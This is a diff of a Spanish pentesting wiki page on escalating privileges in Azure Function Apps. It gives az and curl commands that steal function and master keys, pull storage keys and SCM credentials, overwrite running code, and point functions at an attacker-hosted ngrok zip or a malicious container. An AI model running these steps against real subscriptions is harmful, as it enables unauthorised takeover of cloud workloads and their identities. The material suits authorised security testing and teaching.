diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index f6c669c17..99bc7c167 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -10,28 +10,28 @@ Consulta la siguiente página para más información: ../az-services/az-function-apps.md {{#endref}} -### Lectura/Escritura de Bucket +### Bucket Read/Write -Con permisos para leer los contenedores dentro de la Cuenta de Almacenamiento que almacena los datos de la función, es posible encontrar **diferentes contenedores** (personalizados o con nombres predefinidos) que pueden contener **el código ejecutado por la función**. +Con permisos para leer los containers dentro de la Storage Account que almacena los datos de la function, es posible encontrar **diferentes containers** (personalizados o con nombres predefinidos) que podrían contener **el code ejecutado por la function**. -Una vez que encuentres dónde se encuentra el código de la función, si tienes permisos de escritura sobre él, puedes hacer que la función ejecute cualquier código y escalar privilegios a las identidades administradas adjuntas a la función. +Una vez que encuentres dónde está ubicado el code de la function, si tienes permisos de escritura sobre él puedes hacer que la function ejecute cualquier code y escalar privilegios a las managed identities adjuntas a la function. -- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` y `WEBSITE_CONTENTSHARE`) +- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`) -El código de la función generalmente se almacena dentro de un recurso compartido de archivos. Con suficiente acceso, es posible modificar el archivo de código y **hacer que la función cargue código arbitrario**, lo que permite escalar privilegios a las identidades administradas adjuntas a la Función. +El code de la function suele almacenarse dentro de un file share. Con suficiente acceso es posible modificar el archivo de code y **hacer que la function load arbitrary code** permitiendo escalar privilegios a las managed identities adjuntas a la Function. -Este método de implementación generalmente configura los ajustes **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** y **`WEBSITE_CONTENTSHARE`** que puedes obtener de +Este método de deployment normalmente configura los settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** y **`WEBSITE_CONTENTSHARE`** which you can get from ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -Esas configuraciones contendrán la **Storage Account Key** que la Función puede usar para acceder al código. +Esas configs contendrán la **Storage Account Key** que la Function puede usar para acceder al código. > [!CAUTION] -> Con suficientes permisos para conectarse al File Share y **modificar el script** en ejecución, es posible ejecutar código arbitrario en la Función y escalar privilegios. +> Con permisos suficientes para conectarse al File Share y **modificar el script** que se está ejecutando, es posible ejecutar código arbitrario en la Function y escalar privilegios. -El siguiente ejemplo utiliza macOS para conectarse al file share, pero se recomienda también consultar la siguiente página para más información sobre file shares: +El siguiente ejemplo utiliza macOS para conectarse al file share, pero se recomienda revisar también la siguiente página para más información sobre file shares: {{#ref}} ../az-services/az-file-shares.md @@ -47,26 +47,26 @@ open "smb://.file.core.windows.net/" ``` - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) -También es común encontrar los **zip releases** dentro de la carpeta `function-releases` del contenedor de la Cuenta de Almacenamiento que la aplicación de función está utilizando en un contenedor **generalmente llamado `function-releases`**. +También es común encontrar las **zip releases** dentro de la carpeta `function-releases` del contenedor de Storage Account que la function app está usando, en un contenedor **usualmente llamado `function-releases`**. -Normalmente, este método de despliegue configurará el `WEBSITE_RUN_FROM_PACKAGE` en: +Normalmente este método de despliegue establecerá la configuración `WEBSITE_RUN_FROM_PACKAGE` en: ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -Esta configuración generalmente contendrá una **URL SAS para descargar** el código de la Cuenta de Almacenamiento. +Esta configuración suele contener una **SAS URL para descargar** el código desde el Storage Account. > [!CAUTION] -> Con suficientes permisos para conectarse al contenedor de blobs que **contiene el código en zip**, es posible ejecutar código arbitrario en la Función y escalar privilegios. +> Con permisos suficientes para conectarse al blob container que **contiene el código en zip** es posible ejecutar código arbitrario en la Function y escalar privilegios. -- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` +- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`) -Al igual que en el caso anterior, si el despliegue se realiza a través de Github Actions, es posible encontrar la carpeta **`github-actions-deploy`** en la Cuenta de Almacenamiento que contiene un zip del código y una URL SAS al zip en la configuración `WEBSITE_RUN_FROM_PACKAGE`. +Al igual que en el caso anterior, si el despliegue se realiza vía Github Actions es posible encontrar la carpeta **`github-actions-deploy`** en el Storage Account que contiene un zip del código y una SAS URL al zip en la configuración `WEBSITE_RUN_FROM_PACKAGE`. -- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` y `WEBSITE_CONTENTSHARE`) +- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`) -Con permisos para leer los contenedores dentro de la Cuenta de Almacenamiento que almacena los datos de la función, es posible encontrar el contenedor **`scm-releases`**. Allí es posible encontrar la última versión en **formato de archivo de sistema de archivos Squashfs** y, por lo tanto, es posible leer el código de la función: +Con permisos para leer los contenedores dentro del Storage Account que almacena los datos de la function es posible encontrar el contenedor **`scm-releases`**. Allí se puede encontrar la última release en **Squashfs filesystem file format** y por lo tanto es posible leer el código de la function: ```bash # List containers inside the storage account of the function app az storage container list \ @@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-.zip" mkdir /tmp/fs unsquashfs -d /tmp/fs /tmp/scm-latest-.zip ``` -También es posible encontrar las **claves master y de funciones** almacenadas en la cuenta de almacenamiento en el contenedor **`azure-webjobs-secrets`** dentro de la carpeta **``** en los archivos JSON que puedes encontrar dentro. +También es posible encontrar las **master and functions keys** almacenadas en la storage account en el container **`azure-webjobs-secrets`** dentro de la carpeta **``** en los archivos JSON que puedes encontrar en su interior. > [!CAUTION] -> Con suficientes permisos para conectarse al contenedor de blobs que **contiene el código en un archivo con extensión zip** (que en realidad es un **`squashfs`**), es posible ejecutar código arbitrario en la Función y escalar privilegios. +> Con permisos suficientes para conectarse al blob container que **contains the code in a zip extension file** (que en realidad es un **`squashfs`**) es posible ejecutar código arbitrario en la Function y escalar privilegios. ```bash # Modify code inside the script in /tmp/fs adding your code @@ -118,11 +118,11 @@ az storage blob upload \ ``` ### `Microsoft.Web/sites/host/listkeys/action` -Este permiso permite listar las claves de función, maestro y sistema, pero no la clave de host, de la función especificada con: +Este permiso permite listar las claves function, master y system, pero no la host, de la función especificada con: ```bash az functionapp keys list --resource-group --name ``` -Con la clave maestra, también es posible obtener el código fuente en una URL como: +Con la master key también es posible obtener el código fuente en una URL como: ```bash # Get "script_href" from az rest --method GET \ @@ -130,25 +130,38 @@ az rest --method GET \ # Access curl "?code=" -## Python example: +# Python function app example curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v +# JavaScript function app example +curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v ``` Y para **cambiar el código que se está ejecutando** en la función con: ```bash # Set the code to set in the function in /tmp/function_app.py -## The following continues using the python example +## Python function app example curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \ --data-binary @/tmp/function_app.py \ -H "Content-Type: application/json" \ -H "If-Match: *" \ -v + +# NodeJS function app example +curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \ +--data-binary @/tmp/index.js \ +-H "Content-Type: application/json" \ +-H "If-Match: *" \ +-v ``` ### `Microsoft.Web/sites/functions/listKeys/action` -Este permiso permite obtener la clave de host de la función especificada con: +Este permiso permite obtener la default key de la función especificada con: ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` +Invoca la función utilizando la clave predeterminada obtenida: +```bash +curl "https://.azurewebsites.net/api/?code=" +``` ### `Microsoft.Web/sites/host/functionKeys/write` Este permiso permite crear/actualizar una clave de función de la función especificada con: @@ -157,43 +170,51 @@ az functionapp keys set --resource-group --key-name --key ``` ### `Microsoft.Web/sites/host/masterKey/write` -Este permiso permite crear/actualizar una clave maestra para la función especificada con: +Este permiso permite crear/actualizar una master key para la función especificada con: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` > [!CAUTION] -> ¡Recuerda que con esta clave también puedes acceder al código fuente y modificarlo como se explicó antes! +> Recuerda que con esta key también puedes acceder al código fuente y modificarlo como se explicó antes! ### `Microsoft.Web/sites/host/systemKeys/write` -Este permiso permite crear/actualizar una clave de función del sistema para la función especificada con: +Este permiso permite crear/actualizar una system function key para la función especificada con: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` +Usa la clave: +```bash +# Ejemplo: Acceso a endpoints de Durable Functions +curl "https://.azurewebsites.net/runtime/webhooks/durabletask/instances?code=" + +# Ejemplo: Acceso a Event Grid webhooks +curl "https://.azurewebsites.net/runtime/webhooks/eventgrid?code=" +``` ### `Microsoft.Web/sites/config/list/action` -Este permiso permite obtener la configuración de una función. Dentro de estas configuraciones, podría ser posible encontrar los valores predeterminados **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** que contienen una **clave de cuenta para acceder al almacenamiento de blobs de la función con permisos COMPLETOS**. +Este permiso permite obtener la configuración de una función. Dentro de estas configuraciones podría ser posible encontrar los valores predeterminados **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, que contienen una **clave de cuenta para acceder al blob storage de la función con permisos COMPLETOS**. ```bash az functionapp config appsettings list --name --resource-group ``` -Además, este permiso también permite obtener el **nombre de usuario y la contraseña de SCM** (si está habilitado) con: +Además, este permiso también permite obtener el **SCM username and password** (si está habilitado) con: ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" ``` ### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write` -Estos permisos permiten listar los valores de configuración de una función como hemos visto antes, además de **modificar estos valores**. Esto es útil porque estas configuraciones indican dónde se encuentra el código que se ejecutará dentro de la función. +Estos permisos permiten listar los valores de configuración de una función como hemos visto antes, además de **modificar estos valores**. Esto es útil porque estas configuraciones indican dónde se encuentra el código que se ejecuta dentro de la función. -Por lo tanto, es posible establecer el valor de la configuración **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a un archivo zip en URL que contenga el nuevo código a ejecutar dentro de una aplicación web: +Por lo tanto, es posible establecer el valor de la configuración **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a un archivo zip en una URL que contenga el nuevo código a ejecutar dentro de una aplicación web: -- Comience obteniendo la configuración actual +- Comienza por obtener la configuración actual ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -- Crea el código que deseas que la función ejecute y hospédalo públicamente. +- Crea el código que quieras que la función ejecute y alójalo públicamente ```bash # Write inside /tmp/web/function_app.py the code of the function cd /tmp/web/function_app.py @@ -205,7 +226,7 @@ ngrok http 8000 ``` - Modifica la función, mantén los parámetros anteriores y añade al final la configuración **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a la URL con el **zip** que contiene el código. -El siguiente es un ejemplo de **mis propios ajustes que necesitarás cambiar los valores por los tuyos**, nota al final los valores `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, aquí es donde estaba alojando la aplicación. +La siguiente es un ejemplo de mis **propias configuraciones que tendrás que cambiar por las tuyas**, nota al final el valor `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, aquí es donde alojaba la app. ```bash # Modify the function az rest --method PUT \ @@ -215,7 +236,7 @@ az rest --method PUT \ ``` ### `Microsoft.Web/sites/hostruntime/vfs/write` -Con este permiso es **posible modificar el código de una aplicación** a través de la consola web (o a través del siguiente punto final de API): +Con este permiso es **posible modificar el código de una aplicación** a través de la consola web (o mediante el siguiente endpoint de la API): ```bash # This is a python example, so we will be overwritting function_app.py # Store in /tmp/body the raw python code to put in the function @@ -223,10 +244,29 @@ az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \ --headers '{"Content-Type": "application/json", "If-Match": "*"}' \ --body @/tmp/body + +# Through the SCM URL (using Azure permissions or SCM creds) +az rest --method PUT \ +--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \ +--resource "https://management.azure.com/" \ +--headers "If-Match=*" \ +--body 'module.exports = async function (context, req) { +context.log("JavaScript HTTP trigger function processed a request. Training Demo 2"); + +const name = (req.query.name || (req.body && req.body.name)); +const responseMessage = name +? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2" +: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2"; + +context.res = { +// status: 200, /* Defaults to 200 */ +body: responseMessage +}; +}' ``` ### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`) -Este permiso permite listar todos los perfiles de publicación que básicamente contienen **credenciales de autenticación básica**: +Este permiso permite listar todos los publishing profiles que básicamente contienen **basic auth credentials**: ```bash # Get creds az functionapp deployment list-publishing-profiles \ @@ -234,15 +274,15 @@ az functionapp deployment list-publishing-profiles \ --resource-group \ --output json ``` -Otra opción sería establecer tus propias credenciales y usarlas con: +Otra opción sería configurar tus propios creds y usarlos con: ```bash az functionapp deployment user set \ --user-name DeployUser123456 g \ --password 'P@ssw0rd123!' ``` -- Si las credenciales de **REDACTED** +- Si las credenciales están **REDACTED** -Si ves que esas credenciales están **REDACTED**, es porque **necesitas habilitar la opción de autenticación básica de SCM** y para eso necesitas el segundo permiso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` +Si ves que esas credenciales están **REDACTED**, es porque **necesitas habilitar la opción SCM de autenticación básica** y para eso necesitas el segundo permiso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` ```bash # Enable basic authentication for SCM az rest --method PUT \ @@ -264,7 +304,7 @@ az rest --method PUT \ ``` - **Método SCM** -Luego, puedes acceder con estas **credenciales de autenticación básica a la URL de SCM** de tu aplicación de funciones y obtener los valores de las variables de entorno: +Entonces, puedes acceder con estas **basic auth credentials to the SCM URL** de tu function app y obtener los valores de las env variables: ```bash # Get settings values curl -u ':' \ @@ -275,15 +315,15 @@ zip function_app.zip function_app.py # Your code in function_app.py curl -u ':' -X POST --data-binary "@" \ https://.scm.azurewebsites.net/api/zipdeploy ``` -_Tenga en cuenta que el **nombre de usuario SCM** suele ser el carácter "$" seguido del nombre de la aplicación, así que: `$`._ +_Nota que el **SCM username** suele ser el carácter "$" seguido del nombre de la app, así: `$`._ -También puede acceder a la página web desde `https://.scm.azurewebsites.net/BasicAuth` +También puedes acceder a la página web desde `https://.scm.azurewebsites.net/BasicAuth` -Los valores de configuración contienen la **AccountKey** de la cuenta de almacenamiento que almacena los datos de la aplicación de función, lo que permite controlar esa cuenta de almacenamiento. +Los valores de configuración contienen el **AccountKey** de la storage account que almacena los datos de la function app, lo que permite controlar esa storage account. - **Método FTP** -Conéctese al servidor FTP usando: +Conéctate al servidor FTP usando: ```bash # macOS install lftp brew install lftp @@ -297,19 +337,19 @@ ls # List get ./function_app.py -o /tmp/ # Download function_app.py in /tmp put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it ``` -_Tenga en cuenta que el **nombre de usuario FTP** suele estar en el formato \\\$\._ +_Tenga en cuenta que el **FTP username** suele tener el formato \\\$\._ ### `Microsoft.Web/sites/hostruntime/vfs/read` -Este permiso permite **leer el código fuente** de la aplicación a través del VFS: +Este permiso permite **leer el código fuente** de la app a través del VFS: ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` ### `Microsoft.Web/sites/functions/token/action` -Con este permiso es posible [obtener el **token de administrador**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) que puede ser utilizado posteriormente para recuperar la **clave maestra** y, por lo tanto, acceder y modificar el código de la función. +Con este permiso es posible [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) que posteriormente puede usarse para recuperar la **master key** y, por lo tanto, acceder y modificar el código de la función. -Sin embargo, en mis últimos chequeos no se devolvió ningún token, por lo que podría estar deshabilitado o no funcionar más, pero aquí está cómo lo harías: +Sin embargo, en mis últimas comprobaciones no se devolvió ningún token, por lo que podría estar deshabilitado o ya no funcionar; pero aquí se muestra cómo lo harías: ```bash # Get admin token az rest --method GET \ @@ -321,7 +361,7 @@ curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \ ``` ### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`) -Este permiso permite **habilitar funciones** que pueden estar deshabilitadas (o deshabilitarlas). +Este permiso permite **habilitar functions** que podrían estar deshabilitadas (o deshabilitarlas). ```bash # Enable a disabled function az functionapp config appsettings set \ @@ -335,7 +375,7 @@ az rest --url "https://management.azure.com/subscriptions//res ``` ### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`) -Con estos permisos es posible **modificar el contenedor ejecutado por una aplicación de función** configurada para ejecutar un contenedor. Esto permitiría a un atacante subir una aplicación de contenedor de función de Azure maliciosa a Docker Hub (por ejemplo) y hacer que la función la ejecute. +Con estos permisos es posible **modificar el container run by a function app** configurado para run a container. Esto permitiría a un atacante subir una azure function container app maliciosa a docker hub (por ejemplo) y hacer que la función la ejecute. ```bash az functionapp config container set --name \ --resource-group \ @@ -343,29 +383,29 @@ az functionapp config container set --name \ ``` ### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) -Con estos permisos es posible **adjuntar una nueva identidad administrada por el usuario a una función**. Si la función fue comprometida, esto permitiría escalar privilegios a cualquier identidad administrada por el usuario. +Con estos permisos es posible **adjuntar una nueva identidad administrada de usuario a una función**. Si la función fuera comprometida, esto permitiría escalar privilegios a cualquier identidad administrada de usuario. ```bash az functionapp identity assign \ --name \ --resource-group \ --identities /subscriptions//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ ``` -### Depuración Remota +### Depuración remota -También es posible conectarse para depurar una función de Azure en ejecución como [**se explica en la documentación**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Sin embargo, por defecto, Azure desactivará esta opción en 2 días en caso de que el desarrollador se olvide para evitar dejar configuraciones vulnerables. +También es posible conectarse para depurar una Azure Function en ejecución como [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Sin embargo, por defecto Azure desactivará esta opción pasados 2 días en caso de que el desarrollador la olvide, para evitar dejar configuraciones vulnerables. -Es posible verificar si una función tiene la depuración habilitada con: +Es posible comprobar si una Function tiene la depuración habilitada con: ```bash az functionapp show --name --resource-group ``` -Teniendo el permiso `Microsoft.Web/sites/config/write`, también es posible poner una función en modo de depuración (el siguiente comando también requiere los permisos `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` y `Microsoft.Web/sites/Read`). +Teniendo el permiso `Microsoft.Web/sites/config/write` también es posible poner una función en modo de depuración (el siguiente comando también requiere los permisos `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` y `Microsoft.Web/sites/Read`). ```bash az functionapp config set --remote-debugging-enabled=True --name --resource-group ``` -### Cambiar el repositorio de Github +### Cambiar repo de Github -Intenté cambiar el repositorio de Github desde donde se está realizando el despliegue ejecutando los siguientes comandos, pero incluso si cambió, **el nuevo código no se cargó** (probablemente porque está esperando que la acción de Github actualice el código).\ -Además, **la credencial federada de identidad administrada no se actualizó** permitiendo el nuevo repositorio, por lo que parece que esto no es muy útil. +Intenté cambiar el repo de Github desde donde ocurre el despliegue ejecutando los siguientes comandos, pero aunque cambió, **el nuevo código no se cargó** (probablemente porque espera que la Github Action actualice el código).\ +Además, la **managed identity federated credential no se actualizó** para permitir el nuevo repositorio, así que parece que esto no es muy útil. ```bash # Remove current az functionapp deployment source delete \